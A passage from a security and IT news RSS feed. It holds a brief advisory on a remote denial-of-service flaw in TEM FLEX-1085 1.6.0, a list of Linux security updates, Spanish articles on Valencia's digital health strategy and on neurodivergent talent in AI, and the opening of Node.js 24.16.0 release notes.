<title><![CDATA[CVE-2022-2591 | TEM FLEX-1085 1.6.0 /sistema/flash/reboot denial of service (EUVD-2022-34839 / EDB-51438)]]></title>
<description><![CDATA[A vulnerability was found in TEM FLEX-1085 1.6.0. It has been classified as critical. The affected element is an unknown function of the file /sistema/flash/reboot. The manipulation leads to denial of service.

This vulnerability is listed as CVE-2022-2591. The attack may be initiated remotely. I...]]></description>
<link>https://tsecurity.de/de/3548652/sicherheitsluecken/cve-2022-2591-tem-flex-1085-160-sistemaflashreboot-denial-of-service-euvd-2022-34839-edb-51438/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3548652/sicherheitsluecken/cve-2022-2591-tem-flex-1085-160-sistemaflashreboot-denial-of-service-euvd-2022-34839-edb-51438/</guid>
<pubDate>Tue, 26 May 2026 18:12:48 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/tem:flex-1085">TEM FLEX-1085 1.6.0</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. The affected element is an unknown function of the file <em>/sistema/flash/reboot</em>. The manipulation leads to denial of service.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2022-2591">CVE-2022-2591</a>. The attack may be initiated remotely. In addition, an exploit is available.

It is recommended to apply restrictive firewalling.]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by Debian (atril, evince, gnutls28, haproxy, haveged, jq, kernel, krb5, libgcrypt20, nodejs, and thunderbird), Fedora (aw-server-rust, awatcher, bind, bind-dyndb-ldap, chromium, composer, docker-buildkit, docker-buildx, dotnet10.0, dotnet8.0, dotnet9.0, evince, f...]]></description>
<link>https://tsecurity.de/de/3545828/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3545828/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 25 May 2026 16:53:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>Debian</b> (atril, evince, gnutls28, haproxy, haveged, jq, kernel, krb5, libgcrypt20, nodejs, and thunderbird), <b>Fedora</b> (aw-server-rust, awatcher, bind, bind-dyndb-ldap, chromium, composer, docker-buildkit, docker-buildx, dotnet10.0, dotnet8.0, dotnet9.0, evince, firefox, httpd, kernel, nodejs-aw-webui, nss, perl-Apache-Session-Browseable, pie, python-pulp-glue, python-requests, and python3.15), <b>Slackware</b> (kernel), <b>SUSE</b> (apptainer, chromium, cockpit, dnsmasq, google-guest-agent, hauler, iproute2, jfrog-cli, kernel, libecpg6, libsolv, libzypp, zypper, mcphost, oci-cli, perl-YAML-Syck, python-lxml, python-urllib3, python311-impacket, rqlite, rsync, util-linux, and xz), and <b>Ubuntu</b> (evince, linux-azure, linux-azure-5.4, linux-azure-fips, linux-azure-4.15, linux-azure-fips, linux-fips, linux-gcp-5.15, linux-lowlatency-hwe-5.15, linux-oracle-6.17, node-path-to-regexp, and rclone).]]></content:encoded>
</item>
<item>
<title><![CDATA[El viaje de la Comunitat Valenciana hacia una salud digital más inclusiva, ética y eficiente ]]></title>
<description><![CDATA[El sistema sanitario público valenciano se halla en pleno proceso de modernización tecnológica gracias a la ejecución de la Estrategia de Salud Digital de la Comunitat Valenciana. Presentada a finales de 2024 y dotada de una inversión de 235 millones de euros hasta 2027, la Estrategia conlleva ad...]]></description>
<link>https://tsecurity.de/de/3545334/it-nachrichten/el-viaje-de-la-comunitat-valenciana-hacia-una-salud-digital-ms-inclusiva-tica-y-eficiente/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3545334/it-nachrichten/el-viaje-de-la-comunitat-valenciana-hacia-una-salud-digital-ms-inclusiva-tica-y-eficiente/</guid>
<pubDate>Mon, 25 May 2026 12:32:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>El <strong>sistema sanitario público valenciano</strong> se halla en pleno proceso de modernización tecnológica gracias a la ejecución de la <strong><a href="https://saluddigital.san.gva.es/documents/d/saluddigital/esd-conselleria-cv-v2-6" rel="nofollow">Estrategia de Salud Digital de la Comunitat Valenciana</a></strong>. Presentada a finales de 2024 y dotada de una inversión de 235 millones de euros hasta 2027, la Estrategia conlleva adoptar un nuevo paradigma tecnológico y de gestión, diseñado para dar respuesta a los grandes desafíos que afronta el sistema autonómico en la actualidad, marcados por la elevada presión demográfica y la dispersión geográfica de su población, así como la cronicidad de enfermedades, las elevadas expectativas de los pacientes y la escasez de profesionales sanitarios.  </p>



<p>Una figura clave en la materialización de este ambicioso proyecto es <strong><a href="https://es.linkedin.com/in/mjosetarazon" rel="nofollow">María José Tarazón Muñoz</a>, subdirectora general de Tecnologías de la Información y las Comunicaciones para la Salud de la Conselleria de Sanidad de la Generalitat Valenciana</strong>. La responsable, en el cargo desde septiembre de 2023, cuenta con una amplia trayectoria en la aplicación de las tecnologías de la información al servicio público, de cuyo colectivo TIC forma parte desde hace décadas. La directiva desgrana en una entrevista publicada en el <a href="https://www.computerworld.es/article/4175733/computerworld-y-la-seis-toman-el-pulso-a-la-digitalizacion-de-la-sanidad-publica-espanola-en-2025.html"><em>Especial Sanidad | ÍNDICE SEIS 2025</em></a> elaborado por COMPUTERWORLD y la Sociedad Española de Informática de la Salud (SEIS), el estado actual de la implantación de la citada Estrategia, que se estructura en siete ejes de actuación (Servicios Digitales, Espacios de Datos Sanitarios e Inteligencia Artificial, Historia Clínica Única, Transformación de Procesos Eficientes, Confianza digital, Mejora de Infraestructuras y Gobierno de Tecnologías de Información) y contempla más de 200 proyectos, entre los que destaca la puesta en marcha de la historia clínica única y centralizada para la Comunitat Valenciana y el anillo radiológico. </p>



<p>Al arrancar la entrevista, realizada por videollamada, Tarazón rememora el complicado arranque de la Estrategia de Salud Digital, cuya presentación oficial tuvo lugar el día que ocurrió la <a href="https://www.computerworld.es/article/3604086/la-importancia-de-las-comunicaciones-se-pone-a-prueba-ante-la-dana.html">tragedia de la DANA de Valencia</a>, una coincidencia que no solo eclipsó el anuncio de la modernización de la sanidad regional, sino que además “ralentizó ciertos procesos de tramitación de contrataciones porque, obviamente, había que cumplir con otras urgencias de mayor relevancia en ese momento”, como explica la responsable. </p>



<p>Desde entonces, agrega, se han producido avances en este camino hacia una sanidad que ponga el dato en el centro. “Porque gobernar el dato sanitario supone gobernar la sanidad que ponga el dato en el centro. Solo así podremos aplicar y construir una sanidad inteligente. Y si es inteligente también será más sostenible. También debemos hacerla más cercana. Inteligente, sostenible y cercana, así queremos que sea nuestra sanidad”. </p>



<h2 class="wp-block-heading">Servicios digitales y espacios de datos sanitarios  </h2>



<p>“A nivel de Servicios Digitales, ya hemos puesto en marcha una nueva <em>app</em>, GVA Salud, a la que podremos ir añadiendo funcionalidades y que nos va a proporcionar mucha más agilidad a la hora de comunicarnos con el ciudadano. Además, los ciudadanos pueden acceder (también con huella biométrica) tanto a los informes médicos como a las pruebas de imagen. Desde ahora iremos desarrollando más elementos para añadir agendas de salud pública, de salud mental y otro tipo de contenidos a la <em>app</em>”. </p>



<p>En materia de Espacios de Datos Sanitarios, Tarazón rememora la puesta en marcha de varias oficinas del gobierno del dato. “Queremos definir qué modelo de gobernanza tienen que cumplir los organismos, las fundaciones y los institutos sobre los que recae la actividad investigadora en la comunidad”; un modelo de gobernanza que, avanza, espera que esté completamente definido después del verano.  </p>



<p>De cara a materializar esta gobernanza del dato, añade, la institución cuenta con “tecnología que nos permite ingestar, limpiar, catalogar, segmentar información y después ponerla al servicio o bien de la explotación para un uso primario o la explotación para un uso secundario, con todas las cautelas de anonimización que corresponda”. </p>



<p>Además, indica, se ha abierto una Oficina para el Gobierno de la IA, que está definiendo y sentando la metodología de despliegue de la IA en la organización, garantizando el cumplimiento normativo y un despliegue ordenado, ético, seguro y equitativo de esta tecnología. “El uso de la IA no debe ser oportunista y como quiera cada departamento, sino corporativo. Además, cuando se aplique una IA debe hacerse tras haber analizado una necesidad y teniendo muy clara la expectativa y el objetivo que se quiere cubrir”. Subraya Tarazón en que, ante cualquier proyecto de transformación digital, “no solo hay que comprobar que la tecnología cubra con el objetivo, sino que la organización esté preparada y ordenada para encajar dicha tecnología”. En este momento, dice, ya está en fase de ejecución un sistema de IA para diagnóstico de mama y está a punto de adjudicarse otro sistema de IA para tórax y hueso. </p>



<p>En materia de IA, la Conselleria también tiene ya contratos en marcha para ampliar capacidades en Atención Primaria con asistentes virtuales. “La idea es mejorar la gestión de la demanda, porque actualmente se pierde el 50% de las llamadas de los pacientes”. La IA llegará también a los médicos. “Hemos hecho proyectos piloto, con la colaboración del Ministerio de Sanidad, para aplicar la IA durante la cita médica, de forma que el facultativo pueda atender al paciente mientras se transcribe automáticamente lo que este último cuenta. La idea, además, es que el médico cuente después con un resumen del relato del paciente. De momento, la experiencia ha sido positiva”. </p>



<p> </p>



<figure class="wp-block-pullquote"><blockquote><p><em><strong>La centralización de la historia clínica y del resto de aplicaciones sanitarias es uno de los ejes claves de la Estrategia de Salud Digital de la Comunitat Valenciana </strong></em></p></blockquote></figure>



<p></p>



<h2 class="wp-block-heading">Centralización de la historia clínica, “el proyecto estrella” </h2>



<p>La centralización no solo de la historia clínica sino del resto de aplicaciones sanitarias conforma uno de los ejes más relevantes de la Estrategia porque, explica Tarazón, “venimos de un ecosistema de aplicaciones bastante distribuido y con falta de gobierno, lo que dificulta después la normalización tanto de los datos como de los procesos”.  </p>



<p>El proyecto “estrella” para Tarazón es establecer una Historia Clínica Única. “El proyecto se ha retrasado por algunas incidencias ajenas a nosotros en la tramitación, pero confío en que podamos entrar en fase de ejecución en junio”. Se trata, insiste, de un proyecto “decisivo”. “Actualmente, 24 hospitales utilizan Orion Clinic como estación clínica, mientras que otros centros mantienen soluciones tecnológicas diferentes, derivadas de la evolución histórica del sistema y de los distintos modelos de gestión. Nuestro objetivo es converger hacia una solución corporativa única, que reduzca la fragmentación, refuerce la continuidad asistencial y garantice una gestión más homogénea, eficiente y equitativa en toda la Comunitat Valenciana”. </p>



<p>Para ello, expone, se está trabajando para incluir toda la parte de Atención Hospitalaria dentro de esta la Historia Clínica Unificada; posteriormente, se incluirá también toda la parte de Atención Primaria dentro de esta solución de historia clínica unificada. “La herramienta no crea la norma, pero sí ayuda. Y aquí la normalización y homogeneización del dato en toda su extensión va a venir de la mano de unificar la herramienta”, añade Tarazón. </p>



<p>Además, en la actualidad, la entidad está lanzando procesos de contratación y proyectos con el objeto de centralizar las soluciones de gestión del anillo de imagen, genómica, anatomía patológica e incluso laboratorio. “Y estamos centralizando también la catalogación de pruebas y de todos los resultados para cada una de las pruebas”. </p>



<p>Otro proyecto importante en marcha es el despliegue de una plataforma sobre la que modelar todos los procesos de cribado. “En la actualidad, el proceso de cribado de cáncer de cérvix ya está en producción, el de cáncer de mama está en piloto (se desplegará a finales de julio) y después llegarán otros como el de colon”. </p>



<h2 class="wp-block-heading">Hacia una sanidad más eficiente  </h2>



<p>La transformación de procesos es otro de los puntales de la Estrategia de Salud Digital de la Comunidad Valenciana. El objetivo es avanzar hacia una sanidad más eficiente, homogénea y orientada a resultados”, explica la CIO. Desde el inicio, su equipo identificó la necesidad de incorporar una tecnología corporativa capaz de modelar, automatizar, monitorizar y mejorar procesos transversales, más allá de los sistemas de información tradicionales. “Disponemos de una plataforma que nos permite rediseñar procesos asistenciales, administrativos y de salud pública, incorporando automatización, trazabilidad y capacidad de mejora continua. No se trata solo de digitalizar lo que ya hacemos, sino de revisar cómo lo hacemos para ganar eficiencia, calidad y capacidad de respuesta”. </p>



<p>Además, como parte de este objetivo, se está trabajando en desplegar soluciones para homogeneizar el actual ecosistema de gestión de recursos humanos. “Es decir, todo el control de la gestión de registro de puestos, la Relación de Puestos de Trabajo (RPT) del del colectivo de instituciones sanitarias, la gestión de bolsas, etc. Y, unido a esto, la gestión de la nómina de todos los profesionales que están en activo”. “El pliego del proyecto está prácticamente para tramitar”, cuenta Tarazón. </p>



<h2 class="wp-block-heading">No hay salud digital sin confianza digital </h2>



<p>“No podemos hablar de salud digital si no hablamos de confianza digital”, sentencia Tarazón. Para cambiar la relación con el paciente y hacerla cercana, cuenta, hay que poner el dato en el centro, pero garantizando no solo que tiene calidad, sino que es seguro. “Solo así podemos hablar de construir un sistema de salud inteligente, sostenible y, desde luego, preparado para la gobernanza del dato en su uso primario y uso secundario, para potenciar la investigación y la innovación. Nada de esto es posible si no nos ocupamos de la seguridad de la información”. </p>



<p>Ocuparse de la seguridad de la información, relata la portavoz, supone que los procedimientos cumplan con todos los requisitos que marca la regulación de protección de datos en toda su extensión, lo que incluye también la regulación del Espacio Europeo de Datos Sanitario, y el Reglamento de IA. En esta línea, cuenta Tarazón, el organismo ha definido toda una estrategia de ciberseguridad que tiene en su haber diversos proyectos, “como la normalización de toda la topología de red de los hospitales y de los centros de primaria, la actualización de la infraestructura…”. Reconoce que el cumplimiento del Esquema Nacional de Seguridad es una prioridad para la Conselleria: “Ya hemos iniciado contratos específicos de adecuación al ENS que nos están permitiendo identificar mejoras y aplicar medidas concretas en procesos, sistemas e infraestructuras. Nuestro compromiso es avanzar con rigor y rapidez hacia la certificación, reforzando la seguridad y la confianza en los servicios digitales sanitarios. </p>



<h2 class="wp-block-heading">Mejora de la ‘cocina’ sanitaria TIC: las infraestructuras </h2>



<p>“Aunque hablar de infraestructuras (como yo las llamo: la ‘cocina’ de todo) no vende, lo cierto es que éstas son esenciales”, reflexiona Tarazón, que explica que la Conselleria ha hecho todo un esfuerzo por “contar con infraestructuras escalables, robustas, respaldadas y con aplicaciones preparadas para que puedan ser balanceadas”. </p>



<p>En esta línea, la entidad ha realizado “un esfuerzo tremendo en virtualizar aquello que todavía no estaba virtualizado, en homogeneizar el cómputo en todos los departamentos, en crear una metodología de trabajo a nivel de administración de sistemas similar en todas las áreas y en desplegar capacidades de almacenamiento”. </p>



<p>En el momento actual, marcado por la tendencia a la hibridación, no sorprende que la institución esté optando por tecnologías en nube, además de <em>on-premise</em>. Por ejemplo, el <em>datalake</em> y la HCU. El primero se halla en la nube de IBM, el segundo lo estará en la de AWS. “Creemos que la nube nos va a facilitar el cumplimiento del ENS porque, de forma nativa, las soluciones ya vienen con respaldo”. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/IMG_8840.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Sede de la Conselleria de Sanidad de la Generalitat Valenciana" class="wp-image-4176675" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>María José Tarazón Muñoz, subdirectora general de TIC para la Salud de la Conselleria de Sanidad de la GV.</strong></p></figcaption></figure><p class="imageCredit">Conselleria de Sanidad de la Generalitat Valenciana</p></div>



<h2 class="wp-block-heading">Cambio cultural en el gobierno de TI </h2>



<p>“Para mí, el eje más importante de la Estrategia de Salud Digital es el relativo al gobierno de las TI”, dice Tarazón. Esta parte descansa en los conceptos de “gobernanza TIC federada” y “convergencia y mejora de las aplicaciones”. </p>



<p>Se trata, añade, de “un cambio cultural en la forma de proveer las TIC” basado en la idea de que las TIC deben brindarse de manera centralizada y, por tanto, ser diseñadas “para cubrir una necesidad corporativa desde la equidad, buscando máxima potencia y capacidad a la compra que se realice (sea esta de infraestructura o de software) y pensando en responder a requisitos como la interoperabilidad, la gobernanza del dato, la seguridad y el cumplimiento normativo…”. </p>



<p>Esta nueva forma de gobierno de TI se ha diseñado en paralelo a la nueva organización sanitaria a nivel territorial. El fin último, en definitiva, es “buscar eficiencias de todo tipo: en las TIC, pero también sanitarias y de gestión sanitaria”.  </p>



<p>Por tanto, explica la portavoz, en el área de salud de la Comunidad Valenciana actualmente este modelo se articula en tres niveles de gobierno. “Un primer nivel estratégico, situado en la Conselleria, donde se adoptan las principales decisiones de planificación, priorización e inversión, con la participación de equipos multidisciplinares TIC y funcionales en función de la naturaleza de cada necesidad. Un segundo nivel táctico, vinculado a las Agrupaciones Sanitarias Interdepartamentales, con un papel más ejecutivo y de coordinación territorial, orientado a ordenar necesidades, definir criterios comunes de despliegue, priorizar actuaciones y elevar propuestas al nivel estratégico. Y un tercer nivel operativo departamental, donde reside gran parte del conocimiento funcional y técnico necesario para implantar las soluciones, acompañar a los profesionales y garantizar que la tecnología se adapta correctamente a la realidad asistencial y organizativa de cada ámbito”. </p>



<p> </p>



<p></p>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“Buscamos eficiencias en las TIC, pero también sanitarias y de gestión sanitaria” </em></strong></p></blockquote></figure>



<p></p>



<p>En definitiva, explica, “estamos transformando el modelo de provisión tecnológica hacia un enfoque corporativo, participativo y orientado a resultados. Las decisiones deben responder a criterios de equidad, seguridad, interoperabilidad y cumplimiento normativo, pero también a necesidades reales de la organización. Por eso, el éxito de la transformación digital requiere coliderazgo entre los equipos TIC y los profesionales funcionales, para asegurar que la tecnología se adopta correctamente y genera valor efectivo en los procesos asistenciales y de gestión”. </p>



<p>Cuenta Tarazón que, a la hora de elaborar la Estrategia de Salud Digital, se organizaron sesiones participativas “para que los profesionales de distintas áreas se sintieran representados y supieran qué viene de la mano de esta iniciativa. Esta decisión, asegura, “fue muy positiva; facilitó que todo el mundo se viera reflejado en la Estrategia y ha agilizado la puesta en marcha de los proyectos”. </p>



<p>Esta colaboración entre las áreas funcionales y la de TIC “se está consiguiendo”, según la portavoz. “Un ejemplo es todo el equipo que ha participado en la redacción de un contrato tan complejo como el de Historia Clínica Unificada, para cuya elaboración hemos extraído conocimiento de las diferentes áreas hospitalarias”. </p>



<p>Además, agrega Tarazón, como parte del mencionado modelo federado la Conselleria de Sanidad también ha impulsado la contratación de nuevos perfiles acordes con el momento actual. Se ha creado un cuerpo de tecnología sanitaria con el fin de integrar científicos de datos, ingeniero de organización y sistemas, biotecnólogos, ingenieros biomédicos e ingenieros informáticos y de telecomunicaciones. </p>



<p></p>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“Los profesionales TIC no podemos ser los líderes únicos de los proyectos de transformación […]. La garantía de éxito está en el coliderazgo funcional y técnico” </em></strong></p></blockquote></figure>



<p> </p>



<h2 class="wp-block-heading">Aprendizajes </h2>



<p>Preguntada por cuáles han sido los grandes aprendizajes en este viaje hacia la salud digital y qué recomendaría a homólogos de otras comunidades autónomas que estén inmersos en un proyecto similar, Tarazón lo tiene claro: “Para que un proyecto TIC funcione debe estar respaldado por un liderazgo potente (de una o varias personas), que conozca las áreas de negocio y las carencias. Porque el éxito de la tecnología que nosotros adquiramos desde el área TIC va a depender de una correcta definición de los requisitos y los objetivos que se pretenden cumplir”.  </p>



<p>Desde el lado técnico, continúa la experta, se garantiza la interoperabilidad y la seguridad y la disminución de la complejidad, analizando el sistema del que se viene y la migración que hay que hacer. “Los profesionales TIC no podemos ser los líderes únicos de los proyectos de transformación, ya sean asistenciales, de administración sanitaria, recursos humanos o logística. La garantía de éxito está en el coliderazgo funcional y técnico: visión asistencial y de gestión, junto con solvencia tecnológica, interoperabilidad, seguridad y capacidad de ejecución”. </p>



<p>Además, reflexiona, “transformar no es solo invertir en tecnología. Requiere también tiempo, liderazgo funcional y profesionales con conocimiento, experiencia y capacidad para acompañar el cambio. Sin esa implicación directa de la organización, la tecnología difícilmente genera valor real”. </p>



<p>Otro aprendizaje es que “gobernar y proteger el dato no es solo una responsabilidad tecnológica, sino organizativa. Los equipos TIC impulsamos los controles, la seguridad y el cumplimiento, pero la protección de la información y el uso responsable de la inteligencia artificial deben formar parte de la cultura y de los procesos de toda la organización”.  </p>



<p>Por otra parte, lanza una exigencia compartida por muchos responsables TIC de la Administración Pública. “La contratación pública necesita seguir evolucionando para acompañar la velocidad de la tecnología. No es lo mismo contratar suministros ordinarios que soluciones en nube, inteligencia artificial o plataformas digitales complejas. Sería deseable avanzar hacia marcos más claros y adaptados a este tipo de tecnologías, siempre manteniendo las garantías de transparencia, concurrencia y control público”. </p>



<h2 class="wp-block-heading">Cooperación interterritorial y futuro próximo </h2>



<p>Tarazón valora muy positivamente la labor realizada los últimos años por la Secretaría General de Salud Digital y su defensa de los fondos europeos para destinarlos a modernizar las TIC en el Sistema Nacional de Salud, así como su estrategia de poner el dato en el centro. “La secretaría general nos ha dado un empujón con una doble ayuda: económica y de gestión y coordinación. Se ha preocupado de que los responsables de TI de las comunidades autónomas participemos en este proceso y busquemos soluciones homogéneas”.  </p>



<p>Sin embargo, se lamenta la portavoz, “no todas las comunidades partimos de la misma casilla de salida. Hay comunidades que, por circunstancias históricas, ya tienen soluciones centralizadas y, por tanto, mucho terreno ganado de cara, por ejemplo, a desarrollar modelos de IA. Pero otras, como la nuestra, no, debido a decisiones que se tomaron en el pasado y que en su día eran buenas”. </p>



<p>Respecto al futuro de la innovación TIC en las comunidades una vez que finalicen los fondos (este año), Tarazón reconoce: “La finalización de los fondos europeos nos obligará a priorizar aún más y a demostrar que las inversiones realizadas generan eficiencia y valor público. Ahí estará el reto: consolidar lo desplegado, obtener retorno organizativo y seguir avanzando con criterios de sostenibilidad”.  </p>



<p>En el caso particular de la Comunidad Valenciana, la portavoz confía en que las actuaciones que han abordado en materia de centralización generen eficiencia. “Estamos en una fase de transición exigente: debemos consolidar los proyectos estratégicos en marcha y, al mismo tiempo, sostener con garantías los sistemas actualmente en producción. El reto es priorizar, ejecutar con agilidad y convertir la inversión realizada en valor real para la organización, los profesionales y la ciudadanía”. </p>



<p>“La transformación que estamos acometiendo en la Comunidad Valenciana es profunda, valiente y necesaria. No podíamos responder a la normativa de continuidad asistencial con 33 historias clínicas. No es posible que, ante cualquier petición de datos a esta Comunidad, previamente tengamos que agregar datos de 33 hospitales. El cambio que estamos haciendo es esencial. Pero me preocupa que haya continuidad en el tiempo. Estos proyectos tienen que ir más allá de las legislaturas políticas”. </p>



<p>Tarazón finaliza con una reflexión sobre el impacto de este proyecto de transformación del sistema valenciano de salud: “Lo verdaderamente transformador para el paciente será la redefinición de su relación con el sistema sanitario: una relación más cercana, más ágil y adaptada a sus necesidades. Ante esto es esencial estar atentos a la “brecha digital”. Para los profesionales, supondrá también un cambio relevante, al facilitar su trabajo diario, reducir cargas administrativas y liberar tiempo para tareas de mayor valor asistencial”. </p>


<div class="text text--no-top-margin"><h2></h2><p></p><p><a class="button button--primary" data-amp-height="40" target="" href="https://www.computerworld.es/article/4175733/computerworld-y-la-seis-toman-el-pulso-a-la-digitalizacion-de-la-sanidad-publica-espanola-en-2025.html">Descargue aquí el ESPECIAL SANIDAD CW | ÍNDICE SEIS 2025</a></p></div>


<p></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[¿La IA puede avanzar sin talento neurodivergente?]]></title>
<description><![CDATA[A principios de este año, Alex Karp, CEO de la empresa de software Palantir, afirmó que existen dos caminos hacia un futuro exitoso en la era de la IA: la formación profesional o ser neurodivergente. Como copresidente y CTO de Understood.org, una destacada organización sin fines de lucro que apoy...]]></description>
<link>https://tsecurity.de/de/3536674/it-nachrichten/la-ia-puede-avanzar-sin-talento-neurodivergente/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3536674/it-nachrichten/la-ia-puede-avanzar-sin-talento-neurodivergente/</guid>
<pubDate>Thu, 21 May 2026 16:18:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A principios de este año, Alex Karp, CEO de la empresa de software Palantir, afirmó que existen dos caminos hacia un futuro exitoso en la era de la IA: la formación profesional o ser neurodivergente. Como copresidente y CTO de Understood.org, una destacada organización sin fines de lucro que apoya a millones de personas neurodivergentes en EE. UU., entiendo la idea. Pero esta no lo explica todo.</p>



<p>Tiene sentido considerar el pensamiento divergente como una ventaja ante la preocupación real de que la IA suponga el fin de la originalidad. Cuando todo empieza a verse o sonar igual, las personas que ven y experimentan el mundo de forma diferente aportan un valor incalculable.</p>



<p>La investigación aún se encuentra en sus primeras etapas. Sin embargo, algunos estudios sugieren que las personas neurodivergentes podrían tener mayor probabilidad que las neurotípicas de usar y beneficiarse de herramientas de IA, como los <em>chatbots</em>.</p>



<p>Nuestro enfoque no debería centrarse en si las personas neurodivergentes progresarán gracias a la IA o a pesar de ella, sino en hasta dónde puede avanzar realmente la IA sin la participación del talento neurodivergente.</p>



<h2 class="wp-block-heading">La mayor brecha de la IA es cognitiva, no técnica</h2>



<p>La industria se centra en la velocidad: desarrollar, iterar y escalar más rápido. Pero cuando quienes construyen estos sistemas reflejan un rango limitado de cómo piensan y procesan la información los humanos, esa limitación se integra en la propia tecnología. El resultado es una IA imperfecta y exclusión a gran escala.</p>



<p>Las mentes neurodivergentes aportan fortalezas que el desarrollo de la IA necesita urgentemente, como el reconocimiento de patrones, el pensamiento no lineal y la tendencia a cuestionar las suposiciones. Cuando faltan estas perspectivas, se generan brechas en los productos, programas y resultados. La IA refleja tanto los datos con los que se entrena como a las personas que la desarrollan, por lo que la diversidad cognitiva en el momento de su creación es fundamental.</p>



<h2 class="wp-block-heading">Los verdaderos usuarios avanzados de IA son las personas neurodivergentes</h2>



<p>La última encuesta de Understood.org, realizada a más de 2000 adultos estadounidenses, revela que el 78% de los empleados neurodivergentes afirma utilizar herramientas de IA en el trabajo, frente al 59% de los empleados neurotípicos. Esto coincide con informes de EY que indican que los profesionales neurodivergentes tienen una probabilidad significativamente mayor que los neurotípicos de usar IA a diario.</p>



<p>Pero la importancia no radica solo en un mayor uso, sino en cómo se manifiesta ese uso en la práctica. Cuando alguien utiliza una herramienta con regularidad, la analiza en profundidad. Observa dónde resulta útil, dónde se queda corta o genera fricción y dónde el sistema sigue asumiendo un usuario predeterminado que no existe.</p>



<p>Esto es lo que convierte a los usuarios neurodivergentes en lo más parecido a verdaderos usuarios avanzados que tiene la IA hoy en día. Pueden llevar las herramientas al límite y encontrar fallos que otros nunca llegan a experimentar. Y detectan brechas superficiales entre el diseño de los sistemas y la forma en que las personas los utilizan realmente. El resultado es un ciclo de retroalimentación que la industria no puede permitirse ignorar. Por eso, integrar perspectivas neurodivergentes desde el principio da como resultado mejores sistemas.</p>



<p>Los equipos que piensan de forma diferente están mejor preparados para anticipar una gama más amplia de necesidades de los usuarios, reducir sesgos y diseñar herramientas que funcionen en diversos contextos del mundo real. Cuando se diseña teniendo en cuenta las necesidades de las personas con discapacidades —o mejor aún, cuando estas personas forman parte del equipo de diseño— las soluciones tienden a ser más sólidas para todos.</p>



<h2 class="wp-block-heading">La IA desconoce lo que desconoce</h2>



<p>Incluir talento neurodivergente no solo mejora el rendimiento de la IA, sino que influye directamente en cómo estos sistemas comprenden y representan a las personas. En septiembre pasado, Amy Gaeta, investigadora en ética de la IA, exploró cómo podemos construir una IA mejor y el papel que desempeñan las comunidades neurodivergentes y con discapacidad en ese proceso.</p>



<p>Si le pedimos a un modelo de IA que genere o describa a una persona con discapacidad, la imagen que genera es sorprendentemente consistente: una persona en silla de ruedas. No porque eso refleje la realidad, ya que la discapacidad puede referirse a un amplio espectro de diferencias, tanto visibles como no visibles. Pero los modelos de IA se basan por defecto en los datos con los que fueron entrenados. Si los conjuntos de datos carecen de diversidad o no son representativos, y quienes los gestionan no reconocen esas deficiencias, la IA aprende una definición limitada de discapacidad. Y la repite a gran escala.</p>



<p>Esto puede tener graves consecuencias, perpetuando estereotipos dañinos, infrarrepresentación y tergiversación de maneras que se acumulan con el tiempo. Lo que la IA está entrenada para reconocer es, en última instancia, lo que decide que existe.</p>



<h2 class="wp-block-heading">Construir equipos cognitivamente diversos desde el diseño</h2>



<p>Si la IA va a transformar nuestra forma de aprender, trabajar y comunicarnos, los equipos que la desarrollan deben reflejar una gama más amplia de pensamiento humano. No falta talento para lograrlo, ya que casi uno de cada tres adultos estadounidenses se identifica como neurodivergente.</p>



<p>Pero el cambio necesario no se limita a quiénes integran el equipo, sino a cómo sus perspectivas influyen en lo que se desarrolla y en las decisiones que se toman. Es fundamental considerar la diversidad cognitiva como un factor clave en el diseño de estos sistemas. Es necesario desarrollar mejores datos de entrenamiento que reflejen estas perspectivas desde el principio. Crear entornos donde las mentes neurodivergentes puedan prosperar debería ser la norma.</p>



<h2 class="wp-block-heading">El futuro de la IA es neurodivergente</h2>



<p>Hemos llegado a un punto de inflexión. La falta de conocimiento sobre la neurodiversidad ya no es el obstáculo. La acción sí lo es. Las perspectivas neurodivergentes deben sentar las bases, no añadirse posteriormente.</p>



<p>Si no entrenamos la IA con la amplitud de las experiencias humanas, estaremos creando sistemas peores y menos capaces, además de tergiversar la realidad de las comunidades. Por lo tanto, no se trata de representación por la representación misma. La tecnología solo funcionará bien en la medida en que refleje la diversidad de experiencias.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-05-21, Version 24.16.0 'Krypton' (LTS), @aduh95]]></title>
<description><![CDATA[Notable Changes

[b267f6bca3] - (SEMVER-MINOR) crypto: implement randomUUIDv7() (nabeel378) #62553
[ec2451b9cd] - (SEMVER-MINOR) debugger: add edit-free runtime expression probes to node inspect (Joyee Cheung) #62713
